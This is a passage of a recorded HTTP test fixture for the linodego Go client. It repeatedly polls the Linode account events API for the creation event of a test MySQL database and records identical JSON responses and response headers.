"2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "database_create", "username": "zliang27", "entity": {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "453" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - 